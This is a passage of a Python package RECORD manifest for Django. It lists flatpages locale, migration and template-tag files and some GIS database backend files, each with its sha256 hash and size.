-django/contrib/flatpages/locale/es_AR/LC_MESSAGES/django.mo,sha256=bUnFDa5vpxl27kn2ojTbNaCmwRkBCH-z9zKXAvXe3Z0,2275 -django/contrib/flatpages/locale/es_AR/LC_MESSAGES/django.po,sha256=vEg3wjL_7Ee-PK4FZTaGRCXFscthkoH9szJ7H01K8w8,2487 -django/contrib/flatpages/locale/es_CO/LC_MESSAGES/django.mo,sha256=jt8wzeYky5AEnoNuAv8W4nGgd45XsMbpEdRuLnptr3U,2140 -django/contrib/flatpages/locale/es_CO/LC_MESSAGES/django.po,sha256=xrbAayPoxT7yksXOGPb-0Nc-4g14UmWANaKTD4ItAFA,2366 -django/contrib/flatpages/locale/es_MX/LC_MESSAGES/django.mo,sha256=Y5IOKRzooJHIhJzD9q4PKOe39Z4Rrdz8dBKuvmGkqWU,2062 -django/contrib/flatpages/locale/es_MX/LC_MESSAGES/django.po,sha256=Y-EXhw-jISttA9FGMz7gY_kB-hQ3wEyKEaOc2gu2hKQ,2246 -django/contrib/flatpages/locale/es_VE/LC_MESSAGES/django.mo,sha256=EI6WskepXUmbwCPBNFKqLGNcWFVZIbvXayOHxOCLZKo,2187 -django/contrib/flatpages/locale/es_VE/LC_MESSAGES/django.po,sha256=ipG6a0A2d0Pyum8GcknA-aNExVLjSyuUqbgHM9VdRQo,2393 -django/contrib/flatpages/locale/et/LC_MESSAGES/django.mo,sha256=zriqETEWD-DDPiNzXgAzgEhjvPAaTo7KBosyvBebyc0,2233 -django/contrib/flatpages/locale/et/LC_MESSAGES/django.po,sha256=tMuITUlzy6LKJh3X3CxssFpTQogg8OaGHlKExzjwyOI,2525 -django/contrib/flatpages/locale/eu/LC_MESSAGES/django.mo,sha256=FoKazUkuPpDgsEEI6Gm-xnZYVHtxILiy6Yzvnu8y-L0,2244 -django/contrib/flatpages/locale/eu/LC_MESSAGES/django.po,sha256=POPFB5Jd8sE9Z_ivYSdnet14u-aaXneTUNDMuOrJy00,2478 -django/contrib/flatpages/locale/fa/LC_MESSAGES/django.mo,sha256=2rA7-OR8lQbl_ZhlAC4cmHEmQ9mwxnA8q5M-gx3NmVQ,2612 -django/contrib/flatpages/locale/fa/LC_MESSAGES/django.po,sha256=_-yKW2xIN9XSXEwZTdkhEpRHJoacN8f56D3AkCvlFs0,3006 -django/contrib/flatpages/locale/fi/LC_MESSAGES/django.mo,sha256=VsQdof8hE_AKQGS-Qp82o8PTN_7NxxEdxelGenIAE-8,2256 -django/contrib/flatpages/locale/fi/LC_MESSAGES/django.po,sha256=RL7eruNkgDjr1b3cF2yCqeM8eDKHwAqF6h8hYuxl6R4,2552 -django/contrib/flatpages/locale/fr/LC_MESSAGES/django.mo,sha256=ZqD4O3_Ny8p5i6_RVHlANCnPiowMd19Qi_LOPfTHav4,2430 -django/contrib/flatpages/locale/fr/LC_MESSAGES/django.po,sha256=liAoOgT2CfpANL_rYzyzsET1MhsM19o7wA2GBnoDvMA,2745 -django/contrib/flatpages/locale/fy/LC_MESSAGES/django.mo,sha256=DRsFoZKo36F34XaiQg_0KUOr3NS_MG3UHptzOI4uEAU,476 -django/contrib/flatpages/locale/fy/LC_MESSAGES/django.po,sha256=9JIrRVsPL1m0NPN6uHiaAYxJXHp5IghZmQhVSkGo5g8,1523 -django/contrib/flatpages/locale/ga/LC_MESSAGES/django.mo,sha256=f4552jyACX8w17CU4QAwoPmj05A8nNaTiy-2cbmegSk,2351 -django/contrib/flatpages/locale/ga/LC_MESSAGES/django.po,sha256=oPLJhdAZd2zwKo4o12vDJU-7MQ_CiC9wqszFHmV7LXo,2613 -django/contrib/flatpages/locale/gd/LC_MESSAGES/django.mo,sha256=KbaTL8kF9AxDBLDQWlxcP5hZ4zWnbkvY0l2xRKZ9Dg0,2469 -django/contrib/flatpages/locale/gd/LC_MESSAGES/django.po,sha256=DVY_1R0AhIaI1qXIeRej3XSHMtlimeKNUwzFjc4OmwA,2664 -django/contrib/flatpages/locale/gl/LC_MESSAGES/django.mo,sha256=e8hfOxRyLtCsvdd1FVGuI_dnsptVhfW_O9KyuPT0ENk,2256 -django/contrib/flatpages/locale/gl/LC_MESSAGES/django.po,sha256=YqyR8qnKho8jK03igqPv9KlJw5yVIIDCAGc5z2QxckE,2583 -django/contrib/flatpages/locale/he/LC_MESSAGES/django.mo,sha256=PbypHBhT3W_rp37u8wvaCJdtYB4IP-UeE02VUvSHPf0,2517 -django/contrib/flatpages/locale/he/LC_MESSAGES/django.po,sha256=f7phCRqJPFL7CsuSE1xg9xlaBoOpdd-0zoTYotff29M,2827 -django/contrib/flatpages/locale/hi/LC_MESSAGES/django.mo,sha256=w29ukoF48C7iJ6nE045YoWi7Zcrgu_oXoxT-r6gcQy8,2770 -django/contrib/flatpages/locale/hi/LC_MESSAGES/django.po,sha256=nXq5y1FqMGVhpXpQVdV3uU5JcUtBc2BIrf-n__C2q30,3055 -django/contrib/flatpages/locale/hr/LC_MESSAGES/django.mo,sha256=Mt4gpBuUXvcBl8K714ls4PimHQqee82jFxY1BEAYQOE,2188 -django/contrib/flatpages/locale/hr/LC_MESSAGES/django.po,sha256=ZbUMJY6a-os-xDmcDCJNrN4-YqRe9b_zJ4V5gt2wlGI,2421 -django/contrib/flatpages/locale/hsb/LC_MESSAGES/django.mo,sha256=Pk44puT-3LxzNdGYxMALWpFdw6j6W0G-dWwAfv8sopI,2361 -django/contrib/flatpages/locale/hsb/LC_MESSAGES/django.po,sha256=mhnBXgZSK19E4JU8p2qzqyZqozSzltK-3iY5glr9WG8,2538 -django/contrib/flatpages/locale/hu/LC_MESSAGES/django.mo,sha256=rZxICk460iWBubNq53g9j2JfKIw2W7OqyPG5ylGE92s,2363 -django/contrib/flatpages/locale/hu/LC_MESSAGES/django.po,sha256=DDP7OLBkNbWXr-wiulmQgG461qAubJ8VrfCCXbyPk2g,2700 -django/contrib/flatpages/locale/hy/LC_MESSAGES/django.mo,sha256=qocNtyLcQpjmGqQ130VGjJo-ruaOCtfmZehS9If_hWk,2536 -django/contrib/flatpages/locale/hy/LC_MESSAGES/django.po,sha256=WD8ohMnsaUGQItyqQmS46d76tKgzhQ17X_tGevqULO0,2619 -django/contrib/flatpages/locale/ia/LC_MESSAGES/django.mo,sha256=bochtCPlc268n0WLF0bJtUUT-XveZLPOZPQUetnOWfU,500 -django/contrib/flatpages/locale/ia/LC_MESSAGES/django.po,sha256=gOJ850e8sFcjR2G79zGn3_0-9-KSy591i7ketBRFjyw,1543 -django/contrib/flatpages/locale/id/LC_MESSAGES/django.mo,sha256=2kRHbcmfo09pIEuBb8q5AOkgC0sISJrAG37Rb5F0vts,2222 -django/contrib/flatpages/locale/id/LC_MESSAGES/django.po,sha256=1avfX88CkKMh2AjzN7dxRwj9pgohIBgKE0aXB_shZfc,2496 -django/contrib/flatpages/locale/io/LC_MESSAGES/django.mo,sha256=N8R9dXw_cnBSbZtwRbX6Tzw5XMr_ZdRkn0UmsQFDTi4,464 -django/contrib/flatpages/locale/io/LC_MESSAGES/django.po,sha256=_pJveonUOmMu3T6WS-tV1OFh-8egW0o7vU3i5YqgChA,1511 -django/contrib/flatpages/locale/is/LC_MESSAGES/django.mo,sha256=lFtP1N5CN-x2aMtBNpB6j5HsZYZIZYRm6Y-22gNe1Ek,2229 -django/contrib/flatpages/locale/is/LC_MESSAGES/django.po,sha256=9e132zDa-n6IZxB8jO5H8I0Wr7ubYxrFEMBYj2W49vI,2490 -django/contrib/flatpages/locale/it/LC_MESSAGES/django.mo,sha256=oOEG327VGpi0K5P2UOQgQa39ln15t0lAz2Z36MIQQAc,2209 -django/contrib/flatpages/locale/it/LC_MESSAGES/django.po,sha256=ar8i-bTtAKhiXLULCsKMddpmYBjKyg2paYxBI6ImY1s,2526 -django/contrib/flatpages/locale/ja/LC_MESSAGES/django.mo,sha256=Qax3t7FFRonMrszVEeiyQNMtYyWQB3dmOeeIklEmhAg,2469 -django/contrib/flatpages/locale/ja/LC_MESSAGES/django.po,sha256=N6PBvnXLEWELKTx8nHm5KwydDuFFKq5pn6AIHsBSM5M,2848 -django/contrib/flatpages/locale/ka/LC_MESSAGES/django.mo,sha256=R4OSbZ-lGxMdeJYsaXVXpo6-KSZWeKPuErKmEsUvEQE,3022 -django/contrib/flatpages/locale/ka/LC_MESSAGES/django.po,sha256=TWKtkRamM6YD-4WMoqfZ7KY-ZPs5ny7G82Wst6vQRko,3306 -django/contrib/flatpages/locale/kk/LC_MESSAGES/django.mo,sha256=lMPryzUQr21Uy-NAGQhuIZjHz-4LfBHE_zxEc2_UPaw,2438 -django/contrib/flatpages/locale/kk/LC_MESSAGES/django.po,sha256=3y9PbPw-Q8wM7tCq6u3KeYUT6pfTqcQwlNlSxpAXMxQ,2763 -django/contrib/flatpages/locale/km/LC_MESSAGES/django.mo,sha256=FYRfhNSqBtavYb10sHZNfB-xwLwdZEfVEzX116nBs-k,1942 -django/contrib/flatpages/locale/km/LC_MESSAGES/django.po,sha256=d2AfbR78U0rJqbFmJQvwiBl_QvYIeSwsPKEnfYM4JZA,2471 -django/contrib/flatpages/locale/kn/LC_MESSAGES/django.mo,sha256=n5HCZEPYN_YIVCXrgA1qhxvfhZtDbhfiannJy5EkHkI,1902 -django/contrib/flatpages/locale/kn/LC_MESSAGES/django.po,sha256=-CHwu13UuE2-Qg6poG949I_dw3YiPI9ZhMh5h2vP4xw,2443 -django/contrib/flatpages/locale/ko/LC_MESSAGES/django.mo,sha256=M-IInVdIH24ORarb-KgY60tEorJZgrThDfJQOxW-S0c,2304 -django/contrib/flatpages/locale/ko/LC_MESSAGES/django.po,sha256=DjAtWVAN_fwOvZb-7CUSLtO8WN0Sr08z3jQLNqZ98wY,2746 -django/contrib/flatpages/locale/ky/LC_MESSAGES/django.mo,sha256=WmdWR6dRgmJ-nqSzFDUETypf373fj62igDVHC4ww7hQ,2667 -django/contrib/flatpages/locale/ky/LC_MESSAGES/django.po,sha256=0XDF6CjQTGkuaHADytG95lpFRVndlf_136q0lrQiU1U,2907 -django/contrib/flatpages/locale/lb/LC_MESSAGES/django.mo,sha256=Wkvlh5L_7CopayfNM5Z_xahmyVje1nYOBfQJyqucI_0,502 -django/contrib/flatpages/locale/lb/LC_MESSAGES/django.po,sha256=gGeTuniu3ZZ835t9HR-UtwCcd2s_Yr7ihIUm3jgQ7Y0,1545 -django/contrib/flatpages/locale/lt/LC_MESSAGES/django.mo,sha256=es6xV6X1twtqhIMkV-MByA7KZ5SoVsrx5Qh8BuzJS0Q,2506 -django/contrib/flatpages/locale/lt/LC_MESSAGES/django.po,sha256=T__44veTC_u4hpPvkLekDOWfntXYAMzCd5bffRtGxWA,2779 -django/contrib/flatpages/locale/lv/LC_MESSAGES/django.mo,sha256=RJbVUR8qS8iLL3dD5x1TOau4hcdscHUJBfxge3p3dsM,2359 -django/contrib/flatpages/locale/lv/LC_MESSAGES/django.po,sha256=M6GT6S-5-7__RtSbJ9oqkIlxfU3FIWMlGAQ03NEfcKo,2610 -django/contrib/flatpages/locale/mk/LC_MESSAGES/django.mo,sha256=55H8w6fB-B-RYlKKkGw3fg2m-djxUoEp_XpupK-ZL70,2699 -django/contrib/flatpages/locale/mk/LC_MESSAGES/django.po,sha256=OhHJ5OVWb0jvNaOB3wip9tSIZ1yaPPLkfQR--uUEyUI,2989 -django/contrib/flatpages/locale/ml/LC_MESSAGES/django.mo,sha256=VMMeOujp5fiLzrrbDeH24O2qKBPUkvI_YTSPH-LQjZc,3549 -django/contrib/flatpages/locale/ml/LC_MESSAGES/django.po,sha256=KR2CGnZ1sVuRzSGaPj5IlspoAkVuVEdf48XsAzt1se0,3851 -django/contrib/flatpages/locale/mn/LC_MESSAGES/django.mo,sha256=tqwROY6D-bJ4gbDQIowKXfuLIIdCWksGwecL2sj_wco,2776 -django/contrib/flatpages/locale/mn/LC_MESSAGES/django.po,sha256=jqiBpFLXlptDyU4F8ZWbP61S4APSPh0-nuTpNOejA6c,3003 -django/contrib/flatpages/locale/mr/LC_MESSAGES/django.mo,sha256=fuDy9vFLn5Mb3wVNUg8IvLyTwmyPr3M-GThzgkphJjg,2040 -django/contrib/flatpages/locale/mr/LC_MESSAGES/django.po,sha256=L_1vnLh4AjoaXdb4p_XfDnbKAAWkdQFSpE_8cKGZSm8,2593 -django/contrib/flatpages/locale/ms/LC_MESSAGES/django.mo,sha256=5t_67bMQhux6v6SSWqHfzzCgc6hm3olxgHAsKOMGGZU,2184 -django/contrib/flatpages/locale/ms/LC_MESSAGES/django.po,sha256=-ZzZ8lfAglGkO_BRYz1lRlywxaF1zZ28-Xv74O2nT04,2336 -django/contrib/flatpages/locale/my/LC_MESSAGES/django.mo,sha256=OcbiA7tJPkyt_WNrqyvoFjHt7WL7tMGHV06AZSxzkho,507 -django/contrib/flatpages/locale/my/LC_MESSAGES/django.po,sha256=EPWE566Vn7tax0PYUKq93vtydvmt-A4ooIau9Cwcdfc,1550 -django/contrib/flatpages/locale/nb/LC_MESSAGES/django.mo,sha256=L_XICESZ0nywkk1dn6RqzdUbFTcR92ju-zHCT1g3iEg,2208 -django/contrib/flatpages/locale/nb/LC_MESSAGES/django.po,sha256=ZtcBVD0UqIcsU8iLu5a2wnHLqu5WRLLboVFye2IuQew,2576 -django/contrib/flatpages/locale/ne/LC_MESSAGES/django.mo,sha256=gDZKhcku1NVlSs5ZPPupc7RI8HOF7ex0R4Rs8tMmrYE,1500 -django/contrib/flatpages/locale/ne/LC_MESSAGES/django.po,sha256=GWlzsDaMsJkOvw2TidJOEf1Fvxx9WxGdGAtfZIHkHwk,2178 -django/contrib/flatpages/locale/nl/LC_MESSAGES/django.mo,sha256=_yV_-SYYjpbo-rOHp8NlRzVHFPOSrfS-ndHOEJ9JP3Y,2231 -django/contrib/flatpages/locale/nl/LC_MESSAGES/django.po,sha256=xUuxx2b4ZTCA-1RIdoMqykLgjLLkmpO4ur1Vh93IITU,2669 -django/contrib/flatpages/locale/nn/LC_MESSAGES/django.mo,sha256=sHkuZneEWo1TItSlarlnOUR7ERjc76bJfHUcuFgd9mQ,2256 -django/contrib/flatpages/locale/nn/LC_MESSAGES/django.po,sha256=MpI9qkWqj4rud__xetuqCP-eFHUgMYJpfBhDnWRKPK4,2487 -django/contrib/flatpages/locale/os/LC_MESSAGES/django.mo,sha256=cXGTA5M229UFsgc7hEiI9vI9SEBrNQ8d3A0XrtazO6w,2329 -django/contrib/flatpages/locale/os/LC_MESSAGES/django.po,sha256=m-qoTiKePeFviKGH1rJRjZRH-doJ2Fe4DcZ6W52rG8s,2546 -django/contrib/flatpages/locale/pa/LC_MESSAGES/django.mo,sha256=69_ZsZ4nWlQ0krS6Mx3oL6c4sP5W9mx-yAmOhZOnjPU,903 -django/contrib/flatpages/locale/pa/LC_MESSAGES/django.po,sha256=N6gkoRXP5MefEnjywzRiE3aeU6kHQ0TUG6IGdLV7uww,1780 -django/contrib/flatpages/locale/pl/LC_MESSAGES/django.mo,sha256=5M5-d-TOx2WHlD6BCw9BYIU6bYrSR0Wlem89ih5k3Pc,2448 -django/contrib/flatpages/locale/pl/LC_MESSAGES/django.po,sha256=oKeeo-vNfPaCYVUbufrJZGk0vsgzAE0kLQOTF5qHAK4,2793 -django/contrib/flatpages/locale/pt/LC_MESSAGES/django.mo,sha256=9uXP_AY2U7tcqkM7r0CswVaP_xTjVd4ofmGDfy63bu8,2342 -django/contrib/flatpages/locale/pt/LC_MESSAGES/django.po,sha256=B8xIxpJ2Yv2HPaoeC71LJ7oe2Dd2K3FS07DQ4xPtoJc,2589 -django/contrib/flatpages/locale/pt_BR/LC_MESSAGES/django.mo,sha256=YGyagSFIc-ssFN8bnqVRce1_PsybvLmI8RVCygjow8E,2291 -django/contrib/flatpages/locale/pt_BR/LC_MESSAGES/django.po,sha256=pFA8RPNefZpuhbxBHLt9KrI2RiHxct5V-DnZA-XqBv0,2942 -django/contrib/flatpages/locale/ro/LC_MESSAGES/django.mo,sha256=oS3MXuRh2USyLOMrMH0WfMSFpgBcZWfrbCrovYgbONo,2337 -django/contrib/flatpages/locale/ro/LC_MESSAGES/django.po,sha256=UNKGNSZKS92pJDjxKDLqVUW87DKCWP4_Q51xS16IZl0,2632 -django/contrib/flatpages/locale/ru/LC_MESSAGES/django.mo,sha256=AACtHEQuytEohUZVgk-o33O7rJTFAluq22VJOw5JqII,2934 -django/contrib/flatpages/locale/ru/LC_MESSAGES/django.po,sha256=H6JOPAXNxji1oni9kfga_hNZevodStpEl0O6cDnZ148,3312 -django/contrib/flatpages/locale/sk/LC_MESSAGES/django.mo,sha256=P1192D_B2kDQ6nF_tGEW7WCoTodB3_9rMTaqEQSMO4E,2353 -django/contrib/flatpages/locale/sk/LC_MESSAGES/django.po,sha256=--_DaPB_aSZHn_uxzmCpITO7VPCpP4Nq2rdQGgN14r8,2638 -django/contrib/flatpages/locale/sl/LC_MESSAGES/django.mo,sha256=kOrhhBdM9nbQbCLN49bBn23hCrzpAPrfKvPs4QMHgvo,2301 -django/contrib/flatpages/locale/sl/LC_MESSAGES/django.po,sha256=oyTrOVH0v76Ttc93qfeyu3FHcWLh3tTiz2TefGkmoq4,2621 -django/contrib/flatpages/locale/sq/LC_MESSAGES/django.mo,sha256=wh0stJPSy1w6eSio-Jg_gh_jharjRyanNurOP0avTsM,2350 -django/contrib/flatpages/locale/sq/LC_MESSAGES/django.po,sha256=9oVuVF8OLvf_XBs_duhu-XqF-5Naaai7gGpsPOrqvbQ,2630 -django/contrib/flatpages/locale/sr/LC_MESSAGES/django.mo,sha256=p--v7bpD8Pp6zeP3cdh8fnfC8g2nuhbzGJTdN9eoE58,2770 -django/contrib/flatpages/locale/sr/LC_MESSAGES/django.po,sha256=jxcyMN2Qh_osmo4Jf_6QUC2vW3KVKt1BupDWMMZyAXA,3071 -django/contrib/flatpages/locale/sr_Latn/LC_MESSAGES/django.mo,sha256=3N4mGacnZj0tI5tFniLqC2LQCPSopDEM1SGaw5N1bsw,2328 -django/contrib/flatpages/locale/sr_Latn/LC_MESSAGES/django.po,sha256=od7r3dPbZ7tRAJUW80Oe-nm_tHcmIiG6b2OZMsFg53s,2589 -django/contrib/flatpages/locale/sv/LC_MESSAGES/django.mo,sha256=1pFmNWiExWo5owNijZHZb8-Tbd0nYPqqvTmIitcFPbY,2252 -django/contrib/flatpages/locale/sv/LC_MESSAGES/django.po,sha256=l3anvdgLQJzYehCalwr1AAh8e-hRKrL_bSNwmkfgbbc,2613 -django/contrib/flatpages/locale/sw/LC_MESSAGES/django.mo,sha256=Lhf99AGmazKJHzWk2tkGrMInoYOq0mtdCd8SGblnVCQ,1537 -django/contrib/flatpages/locale/sw/LC_MESSAGES/django.po,sha256=cos3eahuznpTfTdl1Vj_07fCOSYE8C9CRYHCBLYZrVw,1991 -django/contrib/flatpages/locale/ta/LC_MESSAGES/django.mo,sha256=nNuoOX-FPAmTvM79o7colM4C7TtBroTFxYtETPPatcQ,1945 -django/contrib/flatpages/locale/ta/LC_MESSAGES/django.po,sha256=XE4SndPZPLf1yXGl5xQSb0uor4OE8CKJ0EIXBRDA3qU,2474 -django/contrib/flatpages/locale/te/LC_MESSAGES/django.mo,sha256=bMxhDMTQc_WseqoeqJMCSNy71o4U5tJZYgD2G0p-jD0,1238 -django/contrib/flatpages/locale/te/LC_MESSAGES/django.po,sha256=tmUWOrAZ98B9T6Cai8AgLCfb_rLeoPVGjDTgdsMOY1Y,2000 -django/contrib/flatpages/locale/tg/LC_MESSAGES/django.mo,sha256=gpzjf_LxwWX6yUrcUfNepK1LGez6yvnuYhmfULDPZ6E,2064 -django/contrib/flatpages/locale/tg/LC_MESSAGES/django.po,sha256=lZFLes8BWdJ-VbczHFDWCSKhKg0qmmk10hTjKcBNr5o,2572 -django/contrib/flatpages/locale/th/LC_MESSAGES/django.mo,sha256=mct17_099pUn0aGuHu8AlZG6UqdKDpYLojqGYDLRXRg,2698 -django/contrib/flatpages/locale/th/LC_MESSAGES/django.po,sha256=PEcRx5AtXrDZvlNGWFH-0arroD8nZbutdJBe8_I02ag,2941 -django/contrib/flatpages/locale/tk/LC_MESSAGES/django.mo,sha256=_AfI4FH0jkeeCDgujfkx4xHMGSwGi5fs9iqr3HLUVVs,835 -django/contrib/flatpages/locale/tk/LC_MESSAGES/django.po,sha256=28Af2gU6Wmo2DvjxLZrpbXq0HBFrcP7yzfh5IlL4DJg,1881 -django/contrib/flatpages/locale/tr/LC_MESSAGES/django.mo,sha256=pPNGylfG8S0iBI4ONZbky3V2Q5AG-M1njp27tFrhhZc,2290 -django/contrib/flatpages/locale/tr/LC_MESSAGES/django.po,sha256=0ULZu3Plp8H9zdirHy3MSduJ_QRdpoaaivf3bL9MCwA,2588 -django/contrib/flatpages/locale/tt/LC_MESSAGES/django.mo,sha256=9RfCKyn0ZNYsqLvFNmY18xVMl7wnmDq5uXscrsFfupk,2007 -django/contrib/flatpages/locale/tt/LC_MESSAGES/django.po,sha256=SUwalSl8JWI9tuDswmnGT8SjuWR3DQGND9roNxJtH1o,2402 -django/contrib/flatpages/locale/udm/LC_MESSAGES/django.mo,sha256=7KhzWgskBlHmi-v61Ax9fjc3NBwHB17WppdNMuz-rEc,490 -django/contrib/flatpages/locale/udm/LC_MESSAGES/django.po,sha256=zidjP05Hx1OpXGqWEmF2cg9SFxASM4loOV85uW7zV5U,1533 -django/contrib/flatpages/locale/ug/LC_MESSAGES/django.mo,sha256=FL8P63c7BRO5hNABEzurk91v01ceRBhC1DJyjFJkiwg,2644 -django/contrib/flatpages/locale/ug/LC_MESSAGES/django.po,sha256=TxlRCGW-6fyxOO3YzAzKJa4utQp4NOOZ08YZxSit9E8,2774 -django/contrib/flatpages/locale/uk/LC_MESSAGES/django.mo,sha256=r2RZT8xQ1Gi9Yp0nnoNALqQ4zrEJ0JC7m26E5gSeq4g,3002 -django/contrib/flatpages/locale/uk/LC_MESSAGES/django.po,sha256=qcVizoTiKYc1c9KwSTwSALHgjjSGVY2oito_bBRLVTE,3405 -django/contrib/flatpages/locale/ur/LC_MESSAGES/django.mo,sha256=Li4gVdFoNOskGKAKiNuse6B2sz6ePGqGvZu7aGXMNy0,1976 -django/contrib/flatpages/locale/ur/LC_MESSAGES/django.po,sha256=hDasKiKrYov9YaNIHIpoooJo0Bzba___IuN2Hl6ofSc,2371 -django/contrib/flatpages/locale/vi/LC_MESSAGES/django.mo,sha256=FsFUi96oGTWGlZwM4qSMpuL1M2TAxsW51qO70TrybSM,1035 -django/contrib/flatpages/locale/vi/LC_MESSAGES/django.po,sha256=ITX3MWd7nlWPxTCoNPl22_OMLTt0rfvajGvTVwo0QC8,1900 -django/contrib/flatpages/locale/zh_Hans/LC_MESSAGES/django.mo,sha256=UTCQr9t2wSj6dYLK1ftpF8-pZ25dAMYLRE2wEUQva-o,2124 -django/contrib/flatpages/locale/zh_Hans/LC_MESSAGES/django.po,sha256=loi9RvOnrgFs4qp8FW4RGis7wgDzBBXuwha5pFfLRxY,2533 -django/contrib/flatpages/locale/zh_Hant/LC_MESSAGES/django.mo,sha256=INt9_smj4Zwo3hkn3kemuE85lfvwjUrIxbkIHa7Cd_E,2176 -django/contrib/flatpages/locale/zh_Hant/LC_MESSAGES/django.po,sha256=d9De9F9YWkc8YZt51Cg5Xtslwg04G0aRMqxTMAXqQI8,2477 -django/contrib/flatpages/middleware.py,sha256=aXeOeOkUmpdkGOyqZnkR-l1VrDQ161RWIWa3WPBhGac,784 -django/contrib/flatpages/migrations/0001_initial.py,sha256=4xhMsKaXOycsfo9O1QIuknS9wf7r0uVsshAJ7opeqsM,2408 -django/contrib/flatpages/migrations/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/flatpages/migrations/__pycache__/0001_initial.cpython-311.pyc,, -django/contrib/flatpages/migrations/__pycache__/__init__.cpython-311.pyc,, -django/contrib/flatpages/models.py,sha256=3ugRRsDwB5C3GHOWvtOzjJl-y0yqqjYZBSOMt24QYuw,1764 -django/contrib/flatpages/sitemaps.py,sha256=CEhZOsLwv3qIJ1hs4eHlE_0AAtYjicb_yRzsstY19eg,584 -django/contrib/flatpages/templatetags/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/flatpages/templatetags/__pycache__/__init__.cpython-311.pyc,, -django/contrib/flatpages/templatetags/__pycache__/flatpages.cpython-311.pyc,, -django/contrib/flatpages/templatetags/flatpages.py,sha256=QH-suzsoPIMSrgyHR9O8uOdmfIkBv_w3LM-hGfQvnU8,3552 -django/contrib/flatpages/urls.py,sha256=Rs37Ij192SOtSBjd4Lx9YtpINfEMg7XRY01dEOY8Rgg,179 -django/contrib/flatpages/views.py,sha256=H4LG7Janb6Dcn-zINLmp358hR60JigAKGzh4A4PMPaM,2724 -django/contrib/gis/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/__pycache__/apps.cpython-311.pyc,, -django/contrib/gis/__pycache__/feeds.cpython-311.pyc,, -django/contrib/gis/__pycache__/geoip2.cpython-311.pyc,, -django/contrib/gis/__pycache__/geometry.cpython-311.pyc,, -django/contrib/gis/__pycache__/measure.cpython-311.pyc,, -django/contrib/gis/__pycache__/ptr.cpython-311.pyc,, -django/contrib/gis/__pycache__/shortcuts.cpython-311.pyc,, -django/contrib/gis/__pycache__/views.cpython-311.pyc,, -django/contrib/gis/admin/__init__.py,sha256=bCUsC6Hh7hztchqRKuaiTgk3nL0B4H053bVII-olB7k,486 -django/contrib/gis/admin/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/admin/__pycache__/options.cpython-311.pyc,, -django/contrib/gis/admin/options.py,sha256=r60rycdAgcGSB21KQS_V0X78ulUjATYzws-JKLYd_lc,689 -django/contrib/gis/apps.py,sha256=dbAFKx9jj9_QdhdNfL5KCC47puH_ZTw098jsJFwDO9Y,417 -django/contrib/gis/db/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/backends/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/__pycache__/utils.cpython-311.pyc,, -django/contrib/gis/db/backends/base/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/backends/base/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/base/__pycache__/adapter.cpython-311.pyc,, -django/contrib/gis/db/backends/base/__pycache__/features.cpython-311.pyc,, -django/contrib/gis/db/backends/base/__pycache__/models.cpython-311.pyc,, -django/contrib/gis/db/backends/base/__pycache__/operations.cpython-311.pyc,, -django/contrib/gis/db/backends/base/adapter.py,sha256=qbLG-sLB6EZ_sA6-E_uIClyp5E5hz9UQ-CsR3BWx8W8,592 -django/contrib/gis/db/backends/base/features.py,sha256=fF-AKB6__RjkxVRadNkOP7Av4wMaRGkXKybYV6ES2Gk,3718 -django/contrib/gis/db/backends/base/models.py,sha256=WqpmVLqK21m9J6k_N-SGPXq1VZMuNHafyB9xqxUwR4k,4009 -django/contrib/gis/db/backends/base/operations.py,sha256=_g_B-_AN1OVmarA3O8FdU7hnAgBCX0d4gvqalNRJAYg,6859 -django/contrib/gis/db/backends/mysql/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/backends/mysql/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/mysql/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/db/backends/mysql/__pycache__/features.cpython-311.pyc,, -django/contrib/gis/db/backends/mysql/__pycache__/introspection.cpython-311.pyc,, -django/contrib/gis/db/backends/mysql/__pycache__/operations.cpython-311.pyc,, -django/contrib/gis/db/backends/mysql/__pycache__/schema.cpython-311.pyc,, -django/contrib/gis/db/backends/mysql/base.py,sha256=z75wKhm-e9JfRLCvgDq-iv9OqOjBBAS238JTTrWfHRQ,498 -django/contrib/gis/db/backends/mysql/features.py,sha256=dVRo3CuV8Zp5822h9l48nApiXyn3lCuXQV3vsRZKeao,866 -django/contrib/gis/db/backends/mysql/introspection.py,sha256=ZihcSzwN0f8iqKOYKMHuQ_MY41ERSswjP46dvCF0v68,1602 -django/contrib/gis/db/backends/mysql/operations.py,sha256=VUW1dp9__5kx0hygPYWyUEzXKEwnp1S69X3F98E21X0,4952 -django/contrib/gis/db/backends/mysql/schema.py,sha256=Fn_h-6C8od95KTPWSogQprPGtTho5b-TbqqXaHVfkHg,3953 -django/contrib/gis/db/backends/oracle/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/backends/oracle/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/adapter.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/features.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/introspection.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/models.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/operations.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/__pycache__/schema.cpython-311.pyc,, -django/contrib/gis/db/backends/oracle/adapter.py,sha256=AjD0eMuptu8BqkE2LshTizkf5iv9ArYVP9PoOTHfNao,2066 